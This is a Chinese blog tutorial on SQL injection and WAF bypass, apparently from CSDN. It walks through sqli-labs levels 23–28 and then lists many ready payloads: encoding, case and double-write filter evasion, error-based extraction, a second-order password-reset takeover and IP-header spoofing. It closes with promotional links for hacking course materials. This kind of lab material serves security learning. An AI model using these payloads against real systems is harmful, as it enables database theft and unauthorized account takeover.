SQL注入漏洞SQL注入高级篇,零基础入门到精通,收藏这篇就够了

分析目标防火墙并且跳过

1.直接拉黑ip类防火墙

2.过滤删除相应字符的防火墙

1.waf注释符号过滤

例题:Sqli-labs T23

特点:注释符 --+ # 被过滤掉了 绕过方法:逻辑上补全闭合即可

多加一次url编码只是更安全的绕过

select * from users where id = ‘’ limit 0,1

select * from users where id = ’ -1’ union select 1,2,'3 ’ limit 0,1

-1’ union select 1,database(),'3

?id=1’

?id=1%27 //单引号进行url编码后会变成%27

原理:

大部分网站的get请求最后送到服务器上都会进行url编码

而过滤的过程会通过类似于if语句先进行对比替换判断等操作之后才会进行编码。所以可以人为先编码 这样既可以避免服务器进行编码 也可以绕过部分防火墙的检测

PHP语言写的过滤语句一般只会去逐字比对判断 不会进行编码判断

//必要的时候进行全部的url编码

?id=2' or '1'='1    //对红字部分进行url编码
?id=2%27%20%6f%72%20%27%31%27%3d%27%31
?id=-2' union select 1,2,3 or '1'='1   //对红色的部分进行url编码即可
?id=-2%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%20%6f%72%20%27%31%27%3d%27%31
?id=-2' union select 1,2,3 or '1'='1

2.密码重置越权 (越权漏洞)

例题:Sqli-labs中的T24 密码重置

//当可以注册用户的时候,我们思考一下能不能通过修改自己的密码去修改别人的密码

$new_pass1 = $_POST['new_pass1'];
$new_pass2 = $_POST['new_pass2'];
if($new_pass1 == $new_pass2){
    update users set password='$new_password1' where username='$user' and password='$old_pass';
}

可以尝试新注册一个用户名字叫 admin’ # 密码随便

之后登录相应的账户 成功登录admin’ # 这个账户

之后进行修改密码 把新的密码改成999 这个时候被修改密码的账户是admin账户

update users set password=‘123’ where username=’ admin’# ’ and password=‘$old_pass’;

之后登录账户 admin 密码为999 登录成功 实现了越权修改密码这个操作

sqli-labs T25 屏蔽了and or 单引号闭合

or

/*!or*/

尝试order by 发现结果是der 说明防火墙是直接删除了or 可以尝试双写绕过

防火墙:replace类型 找到直接替换为空

绕过方法1 双写绕过: id=2’ aandnd 1=1 --+

replace(‘or’,‘’)

绕过尝试2:大小写绕过 失败了 说明防火墙也是大小写敏感

有的防火墙会先把内容都转成小写 再进行判断

and和or还可以使用 && || 替代 不过这题&&也被屏蔽了 还可以尝试对&&先进行url编码再提交

id=2’ || 1=1 --+

id=2’ %26%26 1=1 --+

id=2’ aANDnd 1=1 --+

id=2’ && 1=1 --+

id=1’ || extractvalue(1,concat(0x7e,(select database()),0x7e)) --+

u r l 1 = u r l d e c o d e ( url1=urldecode( url1=urldecode(url)

u r l 2 = url2= url2=url1.replace

如果防火墙先解码然后去验证的话 那我们可以尝试两次编码然后提交去绕过相应的防火墙

3.waf屏蔽空格

过滤内容:反斜杠 or and 空格 --+等注释符

情况:屏蔽 or and 空格 --+ # /**/

代替空格的东西:

%09 平台tab键

%0a 新建一行

%0c 新建一页

%0d 回车键

%0b 垂直tab键

%a0 也可以是空格键(大多数情况下用)

数据库报错问题屏蔽了 - (减号) 可以使用 id=0 id=2000000000

例题 sqli-labs中的T26

id=2000000’ union select 1,2,3||'1

id=2000000**%27%0bunion%0bselect%0b1,2,3||%27**1

&&进行url编码提交 发现成功 所以url编码不会被过滤

?id=1’ order by 3 %26%26 '1 //or被屏蔽 且or大小写绕过失败 双写嵌套绕过成功

?id=1’ oorrder by 3 %26%26 '1 //空格需要替代

?id=1’%a0oorder**%a0by%a03%a0**%26%26**%a0**'1

?id=1’%odoorrder%0dby%0d3%0d%26%26%0d’1

?id=100000’ union select 1,2,3 || '1

http://127.0.0.1/sqli-labs/Less-26/?id=1’%0doorrder**%0dby%0d3%0d**%26%26**%0d**'1

http://127.0.0.1/sqli-labs/Less-26/?id=1’%a0oorrder%a0by%a02%a0%26%26%a0’1

id=1'
id=1%27||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)like(database())),0x7e),1))||1=%27
id=1%27||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)like(database())),0x7e),1))||1=%27
http://127.0.0.1/sqli-labs/Less-26/?id=1%27||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)like(database())),0x7e),1))||1=%27

4.union select屏蔽

例题:sqli-labs中的T27 (T28类似)这题屏蔽了减号(注释符),屏蔽了union select,屏蔽了空格

//可以大小写翻转 php本身是大小写敏感的 修复方式:先对输入的内容进行小写转换 然后再进行判断

?id=2' or '1'='1   //发现空格没有了
?id=2000'%0bunion%0bselect%0b1,database(),3%0b||%0b'1
?id=2000'%0buNion%0bseLEct%0b1,database(),3%0b||%0b'1
127.0.0.1/sqli-labs/Less-27/?id=200000'%0buniOn%0bsElEct%0b1,database(),3%0bor%0b'1'='1

屏蔽了 --+ 空格也被屏蔽了 减号也被屏蔽

id=1000000000’ union select 1,2,3 or ‘1’='1 //union select也被屏蔽了

id=1000000000’ uNion sElect 1,2,3 or ‘1’='1

id=1000000000’%0buNion%0bsElect%0b1,2,3%0bor%0b’1’='1

sqli-labs的T29 30 31不是php写的 不具体展开

t32-t33 宽字节注入 sql注入大纲中详细介绍了 这里不多赘述

会自己加转义字符

if ‘\’ in url:

www.xx.com/index.php?id='2\\\\'

t34 POST下的宽字节 详情见POST注入部分 这里不多赘述

t35和34类似

t36 37都是

t38 堆叠注入 可以在专题查看 这里不多赘述

奇淫巧技:

1.大小写绕过

UniOn SelEct

2.双写绕过

union selselectect

3.编码绕过 //直接对内容进行Hex编码 也就是十六进制编码 而且十六进制可以不用加引号

‘security’ == 0x7365637572697479

4.注释符(防火墙不会认为这是union select 但是解析的时候会变成union select)

un/**/ion sel/**/ect

5.空格绕过

具体绕过方法查看如上第三个即可

6.or and绕过

and == &&

or == ||

7.宽字节绕过 %df%27这种

8.内联函数(即使被注释了 本身在数据库里面也可以被执行)

/*!select*/ 1,2,3 ?

/!*select*/ 1,2,3 ?

9.<>绕过

un<>ion sel<>ect

10.逗号的屏蔽

select substr(“security”,1,3);

select substr(“security” from 1 for 3); //用from for语句替代逗号

union select 1,2,3

union select * from (select 1)a join (select 2)b join (select 3)c;

limit 0,1

limit 0 offset 1

11.sleep屏蔽

and sleep(1)

and benchmark(10000000000,1)

12.group_concat屏蔽

select group_concat(‘x’,‘y’);

select concat_ws(‘’,‘x’,‘y’);

13.等号=屏蔽

使用like rlike regexp <>

id=1’ or ‘1’='1

id=1’ or ‘1’ like '1

id=1’ or ‘1’ rlike '1

id=1’ or ‘1’ regexp '1

id=1’ or ‘1’ <> '1

14.POST下屏蔽#注释符

– a //减号减号空格a也可以被当作注释符 大部分情况是用来替代空格使用

uname=admin – a&&passwd=admin

15.特殊符号过waf

/*! 50001 select * from users */

这里的500001表示的是如果数据库的版本是5.00.01以上的版本 这个语句才会被执行 (已经没有5.00.01以上的版本了 所以一定会执行)

但是防火墙会认为这个是注释 所以可以实现绕过

16.ip地址拦截 (都是在burp的数据包里面的)

x-forward-for

x-remote-ip

x-originating-ip

x-remote-addr

x-real-ip

17.修改资源 已经找到了问题网页 但是防火墙不允许访问的情况

http://www.xx.com/sql.php?id=1

http://www.xx.com/sql.php/1.js?id=1

18.url白名单 (已经不好用了)

大多数情况下防火墙内置的白名单有一个列表 屏蔽admin manager system

www.xx.com/admin/admin.php 这种地址防火墙不允许直接在url上访问

www.xx.com/sql.php/admin.php?id=1

www.xx.com/…/…/…/…/…/sql.php/…/…/…/sql.php/admin.php?id=1

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值